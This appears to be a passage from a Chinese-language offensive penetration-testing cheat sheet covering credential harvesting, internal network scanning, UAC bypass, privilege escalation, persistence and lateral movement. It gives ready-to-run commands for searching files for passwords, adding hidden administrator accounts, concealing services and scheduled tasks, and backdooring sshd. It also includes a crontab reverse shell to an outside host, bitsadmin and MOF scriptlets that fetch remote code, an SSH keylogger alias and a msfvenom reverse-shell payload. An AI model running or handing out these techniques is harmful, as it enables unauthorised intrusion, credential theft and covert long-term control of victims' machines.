dir /a /s /b d:\"*pass*"
dir /a /s /b d:\"*login*"
dir /a /s /b d:\"*user*"
收集各类账号密码信息
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
```

其余凭证信息Tips

- 控守邮服后，查看用户邮件
- 浏览器记录的网站登录信息
- 各类config配置文件
- 个人保存的密码记录文件

Linux

[LaZagne]

[mimipenguin]

从内存中dump Linux桌面发行版的密码

```
mimipenguin.sh
```

扩展信息收集

网段资产探测

```
1:ping
for /l %i in (1,1,255) do @ping 172.16.2.%i -w 1 -n 1|find /i "ttl="
2.powershell
1..255 | % {echo "192.168.158.$_"; ping -n 1 -w 100 192.168.158.$_} | Select-String ttl
3.集成脚本
@echo off

rem 内网存活段自动发现脚本 [Windows]
rem By Klion
rem 2020.7.1

setlocal enabledelayedexpansion

for /l %%i in (0,1,255) do (
  for /l %%k in (0,1,255) do (
    ping -w 1 -n 1 10.%%i.%%k.1 | findstr "TTL=" >nul || ping -w 1 -n 1 10.%%i.%%k.254 |
findstr "TTL=" >nul
    if !errorlevel! equ 0 (echo 10.%%i.%%k.0/24 is alive ! >> alive.txt ) else (echo
10.%%i.%%k.0/24 May be sleeping ! )
  )
)

for /l %%s in (16,1,31) do (
  for /l %%d in (0,1,255) do (
    ping -n 1 -w 1 172.%%s.%%d.1  | findstr "TTL=" >nul || ping -w 1 -n 1 172.%%s.%%d.254
| findstr "TTL=" >nul
    if !errorlevel! equ 0 (echo 172.%%s.%%d.0/24 is alive ! >> alive.txt ) else (echo
172.%%s.%%d.0/24 May be sleeping ! )
  )
)

for /l %%t in (0,1,255) do (

  ping -n 1 -w 1 192.168.%%t.1  | findstr "TTL=" >nul || ping -n 1 -w 1 192.168.%%t.254 |
findstr "TTL=" >nul
  if !errorlevel! equ 0 (echo 192.168.%%t.0/24 is alive ! >> alive.txt ) else (echo
```

```
192.168.%%t.0/24 May be sleeping ! )
)
4.自己利用python等写一些扫描的脚本
5.利用arp，netBios，tcp，udp等协议探测
```

Web资产探测

httpx是一款十分好用的web资产探测工具并且可以直接识别目标的指纹信息

```
type .\info.txt | .\httpx.exe -title -tech-detect -status-code -follow-redirects -ports
80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,10
81,1082,1118,1888,2008,2020,2100,2375,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,70
02,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,80
00,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,80
44,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,80
91,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,82
22,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,88
81,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,90
86,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,98
00,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,12018,12443,14000,16080,18
000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21
502,28018 -threads 100 -no-color -o result.txt


echo 10.10.10.1/16 | .\httpx.exe -title -tech-detect -status-code -follow-redirects -ports
80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,10
81,1082,1118,1888,2008,2020,2100,2375,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,70
02,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,80
00,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,80
44,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,80
91,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,82
22,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,88
81,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,90
86,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,98
00,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,12018,12443,14000,16080,18
000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21
502,28018 -threads 100 -no-color -o result.txt


type .\info.txt | .\httpx.exe -title -tech-detect -status-code -follow-redirects -threads
100 -no-color -o result.txt
```

端口扫描

常用端口扫描工具

- nmap
- masscan
- zmap
- NC
- Routerscan
- Perun -- 可以打包为exe上传到目标进行扫描
- AssetScan -- 集成了弱口令检测
- netscan -- Go语言写的网段端口扫描器
- Yasso -- 集合了 fscan 和 Ladon 的一个内网扫描器
- fscan

```
# 默认使用全部模块以及600个线程
fscan.exe -h 192.168.1.1/24
# 指定线程和超时时间
fscan.exe -h 192.168.1.1/24 -t 50 -time 5
# 跳过存活检测 、不保存文件、跳过web poc扫描
fscan.exe -h 192.168.1.1/24 -np -no -nopoc
# 指定模块ssh和端口
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222
# 爆破smb密码（但是该模块准备性不佳）
fscan.exe -hf ip.txt -m smb -pwdf smb_pass.txt -userf smb_user.txt -o success.txt
```

- railgun -- 可以指定扫描的超时时间
- powershell

```
24..25 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.1.119",$_)) "Port $_
is open!"} 2>$null

24..25 |% {echo "$_ is "; Test-NetConnection -Port $_ -InformationLevel "Quiet"
192.168.1.119}2>null
3.telnet
```

网卡信息扫描(开放135端口)

- Ladon
- SharpOXID-Find

```
SharpOXID_Find.exe -i 192.168.0.1
SharpOXID_Find.exe -c 192.168.0.1/24
```

内网拓扑架构分析

- DMZ

- 管理网
- 生产网
- 测试网

第三方信息收集

- NETBIOS 信息收集
- SMB 信息收集
- 空会话信息收集
- 漏洞信息收集等
- 自建DNS服务器来获取内网域名对应的IP信息
  参考项目：DNS SOCKS Proxy
  修改完配置文件之后使用如下命令就可以对内网域名进行查询：`dig @部署此项目电脑的IP地址 -p 配置文件中指定的端口 A +short 内网域名`
- 主机关键文件以及文件内容信息查询
  参考项目：SharpSearch

权限提升

Windows

BypassUAC

常用方法

- 使用IFileOperation COM接口
- 使用Wusa.exe的extract选项
- 远程注入SHELLCODE 到傀儡进程

> C_Shot--下载，注入，在内存中执行shellcode

- DLL劫持，劫持系统的DLL文件
- eventvwr.exe and registry hijacking
- sdclt.exe
- SilentCleanup
- wscript.exe
- cmstp.exe
- 修改环境变量，劫持高权限.Net程序
- 修改注册表HKCU\Software\Classes\CLSID，劫持高权限程序
- 直接提权过UAC
- 转换exe文件为com文件(COM文件的生成只需要把exe文件的后缀名改为com即可)

常用工具

- UACME

- Bypass-UAC
- Yamabiko
- CVE-2019-1388
- Auto-Elevate
- ...

Bypass AMSI

常用工具

- AmsiScanBufferBypass
- NetLoader--将二进制程序加载进内存运行，从而在运行时patching AMSI并且 bypassing Windows Defender

提权

- windows内核漏洞提权

> 检测类:Windows-Exploit-Suggester,WinSystemHelper,wesng,在线提取验证

> 利用类:windows-kernel-exploits， BeRoot

- 服务提权

> 数据库服务，ftp服务，打印机等
> 工具（具有一个服务账号之后进行提权）： Juicy Potato
> Windows Spooler Vulnerability that allows an elevation of privilege on Windows 7 and later -- CVE-2020-1337
> PrintNightMare LPE提权漏洞 -- CVE-2021-1675_RDL_LPE

- WINDOWS错误系统配置
- 系统服务的错误权限配置漏洞
- 不安全的注册表权限配置
- 不安全的文件/文件夹权限配置

> 例如启动项提权:
>
> 1. 启动项路径 C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
> 2. 创建脚本：
>
> vbs：
> set wshshell=createobject("wscript.shell")
> a=wshshell.run("cmd.exe /c net user 用户名 密码 /add",0)
> b=wshshell.run("cmd.exe /c net localgroup administrators 用户名 /add",0)
> bat：
> net user 用户名 密码 /add
> net localgroup administrators 用户名 /add
>
> 3. 接下来需要等待机器重启并以较大权限的账号登录，暴力一点可以配合漏洞打蓝屏poc强制重启
> 4. bat会弹dos，vbs不会

- 计划任务

- 计划任务
- 任意用户以NT AUTHORITY\SYSTEM权限安装msi
- 提权脚本

> PowerUP,ElevateKit,Sherlock

- 利用 psexec.exe 将 Administrator 提升为 System (会新开一个窗口)

```
psexec.exe -i -d -s cmd.exe
```

- Tokenvator 利用Windows Tokens来完成权限更改

```
Tokenvator.exe Clone_Token /Process:3824 /Command:cmd.exe
```

Linux

内核溢出提权

linux-kernel-exploits

计划任务

```
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
```

SUID

```
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
```

系统服务的错误权限配置漏洞

```
cat /var/apache2/config.inc
```

```
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
```

不安全的文件/文件夹权限配置

```
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
```

找存储的明文用户名，密码

```
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
```

权限维持

Windows

1. 密码记录工具

WinlogonHack
WinlogonHack 是一款用来劫取远程3389登录密码的工具，在 WinlogonHack 之前有 一个 Gina 木马主要用来截取 Windows 2000下的密码，WinlogonHack 主要用于截 取 Windows XP 以及 Windows 2003 Server。
键盘记录器
安装键盘记录的目地不光是记录本机密码，是记录管理员一切的密码，比如说信箱，WEB 网页密码等等，这样也可以得到管理员的很多信息。
NTPass
获取管理员口令,一般用 gina 方式来,但有些机器上安装了 pcanywhere 等软件，会导致远程登录的时候出现故障，本软件可实现无障碍截取口令。
Linux 下 openssh 后门
重新编译运行的sshd服务，用于记录用户的登陆密码。

2. 常用的存储Payload位置

WMI :

存储:

```
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('Command' , $Payload)
$StaticClass.Put()
```

读取:

```
$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value
```

包含数字签名的PE文件
利用文件hash的算法缺陷，向PE文件中隐藏Payload，同时不影响该PE文件的数字签名
特殊ADS
...

```
type putty.exe > ...:putty.exe
wmic process call create c:\test\ads\...:putty.exe
```

特殊COM文件

```
type putty.exe > \\.\C:\test\ads\COM1:putty.exe
wmic process call create \\.\C:\test\ads\COM1:putty.exe
```

磁盘根目录

```
type putty.exe >C:\:putty.exe
wmic process call create C:\:putty.exe
```

3. Run/RunOnce Keys

用户级

```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
```

管理员

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
```

新建一个字符串值并修改数值数据为程序路径即可

```
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d
"C:\test.exe" /f
```

PS: 这种方式是开机自启

4. BootExecute Key

由于smss.exe在Windows子系统加载之前启动，因此会调用配置子系统来加载当前的配置单元，具体注册表键值为：

```
HKLM\SYSTEM\CurrentControlSet\Control\hivelist
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager
```

5. Userinit Key

WinLogon进程加载的login scripts,具体键值：

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
```

6. Startup Keys

```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
```

7. Services

创建服务并隐藏

```
# 创建并启动一个自启服务
sc create "WindowsUpdate" binpath= "cmd.exe /k C:\Windows\system32\calc.exe" start= "auto"
obj= "LocalSystem"
net start "WindowsUpdate"
# 查询对应的服务
sc query WindowsUpdate
# 停止对应的服务
sc stop WindowsUpdate
# 删除对应的服务
sc delete WindowsUpdate
# 使用sc.exe 修改 WindowsUpdate 服务的SDDL语法以实现隐藏
sc.exe sdset WindowsUpdate "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)
```

```
(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
# 验证是否隐藏成功
Get-Service -Name WindowsUpdate
# 取消隐藏
sc.exe sdset WindowsUpdate "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:
(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
```

8. Browser Helper Objects

本质上是Internet Explorer启动时加载的DLL模块

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper
Objects
```

9. AppInit_DLLs

加载User32.dll会加载的DLL

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
```

10. 文件关联

```
HKEY_LOCAL_MACHINE\Software\Classes
HKEY_CLASSES_ROOT
```

11. bitsadmin

```
bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://host.com/calc.sct
scrobj.dll"
bitsadmin /Resume backdoor
```

12. mof

```
pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter 创维A20 $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP1";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
```

```
"And TargetInstance.Second = 1";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer 创维A20 $Consumer
{
Name = "consP1";
ScriptingEngine = "JScript";
ScriptText = "GetObject(\"script:https://host.com/test\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
```

管理员执行：

```
mofcomp test.mof
```

13. wmi

每隔60秒执行一次notepad.exe

```
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82",
EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM
__InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA
'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE
Name="BotConsumer23",
ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\
notepad.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE
Filter="__EventFilter.Name=\"BotFilter82\"",
Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""
```

14. Userland Persistence With Scheduled Tasks

劫持计划任务UserTask，在系统启动时加载dll

```
function Invoke-ScheduledTaskComHandlerUserTask
{
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]

Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
```

```
[String]
$Command,

[Switch]
$Force
)
$ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-ac04-
427593b1d060}\InprocServer32"
if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -
ErrorAction SilentlyContinue) -eq $null)){
New-Item $ScheduledTaskCommandPath -Force |
New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
}else{
Write-Verbose "Key already exists, consider using -Force"
exit
}

if (Test-Path $ScheduledTaskCommandPath) {
Write-Verbose "Created registry entries to hijack the UserTask"
}else{
Write-Warning "Failed to create registry key, exiting"
exit
}
}
Invoke-ScheduledTaskComHandlerUserTask -Command "C:\test\testmsg.dll" -Verbose
```

15. Netsh

```
netsh add helper c:\test\netshtest.dll
```

后门触发：每次调用netsh

> dll编写:https://github.com/outflanknl/NetshHelperBeacon

16. Shim

常用方式：
InjectDll
RedirectShortcut
RedirectEXE

17. DLL劫持

通过Rattler自动枚举进程，检测是否存在可用dll劫持利用的进程
使用：Procmon当自动测试更精准，常规生成的dll会导致程序执行报错或中断，使用Aheadlib配合生成dll劫持利用源

使用：Procmon中自动测试更精准，常规生成的dll会导致程序执行报错或中断，使用AheadLib配合生成dll劫持利用源码不会影响程序执行
工具：https://github.com/sensepost/rattler
工具：https://github.com/Yonsm/AheadLib

18. DoubleAgent

编写自定义Verifier provider DLL
通过Application Verifier进行安装
注入到目标进程执行payload
每当目标进程启动，均会执行payload，相当于一个自启动的方式
POC : https://github.com/Cybellum/DoubleAgent

19. waitfor.exe

不支持自启动，但可远程主动激活，后台进程显示为waitfor.exe
POC : https://github.com/3gstudent/Waitfor-Persistence

20. AppDomainManager

针对.Net程序，通过修改AppDomainManager能够劫持.Net程序的启动过程。如果劫持了系统常见.Net程序如powershell.exe的启动过程，向其添加payload，就能实现一种被动的后门触发机制

21. Office

劫持Office软件的特定功能:通过dll劫持,在Office软件执行特定功能时触发后门
利用VSTO实现的office后门
Office加载项

- Word WLL
- Excel XLL
- Excel VBA add-ins
- PowerPoint VBA add-ins

> 参考1： https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/

> 参考2： https://3gstudent.github.io/3gstudent.github.io/Office-Persistence-on-x64-operating-system/

22. CLR

无需管理员权限的后门，并能够劫持所有.Net程序
POC:https://github.com/3gstudent/CLR-Injection

23. msdtc

利用MSDTC服务加载dll，实现自启动，并绕过Autoruns对启动项的检测
利用：向 %windir%\system32\目录添加dll并重命名为oci.dll

利用：向 %windir%\system32\目录添加dll并重命名为oci.dll

24. Hijack CAccPropServicesClass and MMDeviceEnumerato

利用COM组件，不需要重启系统，不需要管理员权限
通过修改注册表实现
POC：https://github.com/3gstudent/COM-Object-hijacking

25. Hijack explorer.exe

COM组件劫持，不需要重启系统，不需要管理员权限
通过修改注册表实现

```
HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1}
HKCU\Software\Classes\CLSID{fbeb8a05-beee-4442-804e-409d6c4515e9}
HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}
```

26. Windows FAX DLL Injection

通过DLL劫持，劫持Explorer.exe对`fxsst.dll`的加载
Explorer.exe在启动时会加载`c:\Windows\System32\fxsst.dll`(服务默认开启，用于传真服务)将payload.dll保存在`c:\Windows\fxsst.dll`，能够实现dll劫持，劫持Explorer.exe对`fxsst.dll`的加载

27. 特殊注册表键值

在注册表启动项创建特殊名称的注册表键值，用户正常情况下无法读取(使用Win32 API)，但系统能够执行(使用Native API)。

《渗透技巧——"隐藏"注册表的创建》

《渗透技巧——"隐藏"注册表的更多测试》

28. 快捷方式后门

替换我的电脑快捷方式启动参数
POC : https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Backdoor/LNK_backdoor.ps1

29. Logon Scripts

```
New-ItemProperty "HKCU:\Environment\" UserInitMprLogonScript -value "c:\test\11.bat" -
propertyType string | Out-Null
```

30. Password Filter DLL

31. 利用BHO实现IE浏览器劫持

32. SharPersist

33. 计划任务

RL表示作业级别，一般设置最高，为HIGHEST，tn是任务名称，tr是运行程序路径，sc表示时间间隔，DAILY表示以天为间隔，mo为执行周期。

```
# 创建计划任务
schtasks /Create /TN windowsupdate /SC DAILY /TR "C:\Program Files\Common
Files\System\test.bat" /RU SYSTEM /ST 10:00

# 在知道目标账号密码的时候可以远程为其创建计划任务
# 这个示例是一天一次的执行
schtasks /create /s 192.168.1.102 /u "administrator" /p "123!@#" /RL HIGHEST /tn
windowsupdate /tr C:\\Windows\temp\1.bat /sc DAILY /mo 1 /ST 8:00

# 运行计划任务
schtasks /Run /TN windowsupdate
# 远程运行计划任务
schtasks /run /tn windowsupdate /s 192.168.1.102 /u "administrator" /p "123!@#"

# 结束计划任务
schtasks /End /TN windowsupdate

# 删除计划任务
schtasks /Delete /TN windowsupdate /f
# 远程删除
schtasks /delete /tn windowsupdate /s 192.168.1.102 /u "administrator" /p "123!@#"

# 查看当前用户指定的计划任务
# 包括上次运行时间、下次运行时间、以交互式/后台运行等信息
# 若没有/TN参数指定，则查看当前用户所有的计划任务
schtasks /Query /V /TN windowsupdate
schtasks /Query /tn windowsupdate /fo List /v

# /TN：taskname，计划任务的标识名称
# /SC：schedule，指定计划频率，有效值为MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、
ONLOGON、ONIDLE、ONEVENT
# /TR：taskrun，指定计划任务执行程序的路径
# /RU：指定运行任务的账户，系统账户为"SYSTEM"
# /ST：start time，任务开始时间
# /V:输出详细信息
```

非完全隐藏计划任务:

```
# 启动 SYSTEM 权限 cmd
```

```
psexec64  -i -s cmd.exe
# 修改 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree 下对应任务的 Index 值为 0
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree\test" /t REG_DWORD /v Index /d 0x0 /f
# 删除 %SystemRoot%\System32\Tasks 下任务对应的 XML 文件
del %SystemRoot%\System32\Tasks\test.xml
```

> 优点： - 利用 taskschd.msc、schtasks 甚至系统API查询出的所有任务中，都看不到该任务
>
> 缺点： - 并非完全隐藏，如果知道该任务的名字，可以通过 schtasks /query /tn {TaskName} 查到 - 无论是低权的任务还是高权，都需要 SYSTEM 权限（在win10测试，低版本好像没这个要求，待测试）

完全隐藏计划任务:

```
# 启动 SYSTEM 权限 cmd:
psexec64  -i -s cmd.exe
# 删除 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree\{TaskName}\SD
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree\test" /v SD /f
# 删除 %SystemRoot%\System32\Tasks 下任务对应的 XML 文件
del %SystemRoot%\System32\Tasks\test.xml
```

> 优点： - 无论何种方式（除了注册表），都查不到该任务，较为彻底
>
> 缺点： - 无论是低权的任务还是高权，都需要 SYSTEM 权限

使用PowerShell创建计划任务 Powersistence

```
PS /home/pi0x73/Desktop>.\Powersistence.ps1 -Path 'C:\Path\To\Executable.exe'
```

Linux

crontab

```
# 在线计算crontab的执行时间
https://tool.lu/crontab/
```

```
# 每60分钟反弹一次shell给dns.wuyun.org的53端口
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9
2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

# 每天10点执行程序artifact
(crontab -l;printf "0 10 * * ?  /tmp/artifact;/bin/bash --noprofile -i; >dev/null 2>&1
\rno crontab for `whoami`%100c\n")|crontab -

# 查看对应的计划任务
sudo cat -A /var/spool/cron/crontabs/`whoami`
# 删除对应的计划任务
sudo rm /var/spool/cron/crontabs/`whoami`
```

在dns.wuyun.org的vps上可以使用Platypus来对反弹的shell进行管理

硬链接sshd

```
#!bash
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333;
```

链接：ssh root@192.168.206.142 -p 2333

SSH Server wrapper

```
#!bash
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
//不用重启也行
/etc/init.d/sshd restart
```

```
socat STDIO TCP4:192.168.206.142:22,sourceport=13377
```

SSH keylogger

vim当前用户下的.bashrc文件,末尾添加

```
#!bash
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
```

source .bashrc

Cymothoa_进程注入backdoor

```
./cymothoa -p 2270 -s 1 -y 7777
```

```
nc -vv ip 7777
```

Vegile_进程注入backdoor

```
msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=127.0.0.1
 LPORT=8080  -f elf -o /tmp/backdoor
```

```
# 进程注入
Vegile --i /tmp/backdoor
# 无限重启
Vegile --u /tmp/backdoor
```

PS: 这种方式必须要提前模拟环境测试，不然可能会造成目标环境出现问题

rootkit

- openssh_rootkit
- Kbeast_rootkit
- Mafix + Suterusu rootkit

Tools

- Vegile
- backdoor

Web 后门

PHP Meterpreter后门
Aspx Meterpreter后门
weevely
Behinder

Godzilla
antSword
....

横向渗透

端口渗透

端口扫描

- 1.端口的指纹信息（版本信息）
- 2.端口所对应运行的服务
- 3.常见的默认端口号
- 4.尝试弱口令

端口爆破

- hydra
- Crowbar -- OpenVPN/RDP/SSH/VNC
- PortBrute -- 爆破FTP/SSH/SMB/MSSQL/MYSQL/POSTGRESQL/MONGOD (Go语言编写，跨平台支持)
- LadonGo

端口弱口令

- NTScan
- Hscan
- 自写脚本

端口溢出

smb

- ms08067
- ms17010
- ms11058
- ...

apache
ftp
...

常见的默认端口

1. web类(web漏洞/敏感目录)

第三方通用组件漏洞: struts thinkphp jboss ganglia zabbix ...

```
80 web
80-89 web
8000-9090 web
```

2. 数据库类(扫描弱口令)

```
1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL
50000 DB2
```

3. 特殊服务类(未授权/命令执行类/漏洞)

```
443 SSL心脏滴血
445 ms08067/ms11058/ms17010等
873 Rsync未授权
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授权
7001,7002 WebLogic默认弱口令，反序列
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问
```

4. 常用端口类(扫描弱口令/端口爆破)

```
21 ftp
22 SSH
23 Telnet
445 SMB弱口令扫描
2601,2604 zebra路由，默认密码zebra
3389 远程桌面
5800,5801,5900,5901 VNC
```

5. 端口合计所对应的服务

```
21 ftp
22 SSH
```

22 SSH
23 Telnet
25 SMTP
53 DNS
69 TFTP
80 web
80-89 web
110 POP3
135 RPC
139 NETBIOS
143 IMAP
161 SNMP
389 LDAP
443 SSL心脏滴血以及一些web漏洞测试
445 SMB
512,513,514 Rexec
873 Rsync未授权
1025,111 NFS
1080 socks
1158 ORACLE EMCTL2601,2604 zebra路由，默认密码zebra案
1433 MSSQL (暴力破解)
1521 Oracle:(iSqlPlus Port:5560,7778)
2082/2083 cpanel主机管理系统登陆 （国外用较多）
2222 DA虚拟主机管理系统登陆 （国外用较多）
2601,2604 zebra路由，默认密码zebra
3128 squid代理默认端口，如果没设置口令很可能就直接漫游内网了
3306 MySQL （暴力破解）
3312/3311 kangle主机管理系统登陆
3389 远程桌面 (RDP)
3690 svn
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网
4848 GlassFish web中间件 弱口令:admin/adminadmin
5432 PostgreSQL
5900 vnc
5984 CouchDB http://xxx:5984/_utils/
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网
6379 redis未授权
7001,7002 WebLogic默认弱口令，反序列
7778 Kloxo主机控制面板登录
8000-9090 都是一些常见的web端口，有些运维喜欢把管理后台开在这些非80的端口上
8080 tomcat/WDCd/ 主机管理系统，默认弱口令
8080,8089,9090 JBOSS
8081 Symantec AV/Filter for MSE
8083 Vestacp主机管理系统 （国外用较多）
8649 ganglia
8888 amh/LuManager 主机管理系统默认端口

```
9000 fcgi fcig php执行
9043 websphere[web中间件] 弱口令: admin/admin websphere/ websphere ststem/manager
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
